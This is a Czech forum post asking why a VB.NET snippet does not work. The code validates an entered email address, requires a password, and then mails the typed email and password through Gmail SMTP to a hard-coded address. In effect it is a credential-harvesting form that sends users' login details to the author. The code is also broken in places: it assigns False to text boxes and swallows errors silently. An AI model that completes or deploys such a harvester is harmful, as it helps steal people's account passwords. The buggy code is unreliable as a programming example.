Napsal jsem to takhle
'kontrola emailu a zadaného textu
Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")
Else
MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If
If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
'POSLAT ANO NEBO NE
Dim kontrola As Boolean
If TextBox1.Text = "" Then
TextBox1.Text = False
Else
TextBox2.Text = ""
TextBox2.Text = False
End If
'poílaní
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
Ale nefunguje to.
Můsí se tam ještě něco dopsat.